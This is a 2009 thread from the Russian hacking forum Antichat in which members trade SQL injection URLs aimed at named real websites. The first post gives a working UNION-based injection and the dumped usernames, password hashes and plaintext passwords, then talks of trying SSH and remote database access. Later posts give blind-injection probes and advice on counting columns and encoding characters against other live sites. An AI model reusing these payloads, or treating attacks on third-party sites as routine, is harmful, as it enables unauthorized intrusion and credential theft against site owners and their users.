14.03.2009, 04:52
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
http://kronverkcinema.ru/repertoire/movies/watchmen'/**/union/**/select/**/1,2,3,concat_ws(0x3a,id,u_login,u_password),5,6,7/**/from/**/0users/* - докрутил сам уж тут)
0admin:cb9bfe903a233a5e3e5db91f557efa49:vjhrjlfd
user1:ae1276475fe133abcc93dff6bebc9413:kronverk123
Вот так вот =)
Но к сожелению к /admin/ доступ запрещен =(
И фтп нету =(
Сейчас попробую через ssh и удаленно к БД можно попробывать
ЗЫ: Всем спасибо за помощь)
|
|
|
14.03.2009, 08:59
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766
Репутация:
61
|
|
http://adena.ru/checkout.html?id=1'
Не могу, решил выложить...
Последний раз редактировалось Byrger; 14.03.2009 в 10:41..
|
|
|
|
14.03.2009, 09:05
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
http://striweb.si.edu/esp/tesp/details.php?id=-1378+or+1=1/*
думаю 3 ветка. ( пр9
|
|
|
|
14.03.2009, 10:32
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
http://striweb.si.edu/esp/tesp/details.php?id=-1378+or+1=1/*
думаю 3 ветка. ( пр9
Ну да..
Код:
http://striweb.si.edu/esp/tesp/details.php?id=1378+and+substring(version(),1,1)=3
Код:
http://adena.ru/checkout.html?id=1'
Не могу, решил выложить...
http://adena.ru/checkout.html?id=1'+and+substring(version(),1,1)=5/*
|
|
|
|
14.03.2009, 10:42
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766
Репутация:
61
|
|
Сообщение от R1dex
Ну да..
Ничего же не происходит? где должен высветится ответ от SQL?
Последний раз редактировалось Byrger; 14.03.2009 в 11:10..
|
|
|
|
14.03.2009, 10:43
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
Сообщение от Byrger
Ничего же не происходит? где должен высветится ответ от SQL?
Это называется блинд инъекция..
Подробнее можно почитать, например, тут .
|
|
|
|
14.03.2009, 10:38
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
http://www.msm-5.ru/news.phtml?sid=79&nid=57 - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57/**/ - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57-2 - стр. 55
Это инъекция, но кол-во не могу подобрать - дошел до 20.
|
|
|
|
14.03.2009, 10:41
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
Сообщение от mailbrush
http://www.msm-5.ru/news.phtml?sid=79&nid=57 - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57/**/ - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57-2 - стр. 55
Это инъекция, но кол-во не могу подобрать - дошел до 20.
3-ья ветка
Код:
http://www.msm-5.ru/news.phtml?sid=79&nid=57+and+substring(version(),1,1)=3
|
|
|
|
14.03.2009, 10:43
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Эм.. Крут. А во что енкодятся буквы? (ну типа символ = числу (скажите что за енкодинг))
|
|
|
|
14.03.2009, 10:44
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
2 Byrger почитай про слепые скули
http://forum.antichat.ru/thread19844-blind+sql.html
2 mailbrush если я правильно тебя понял то это char
http://www.webfuture.ru/igo/convert.php
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
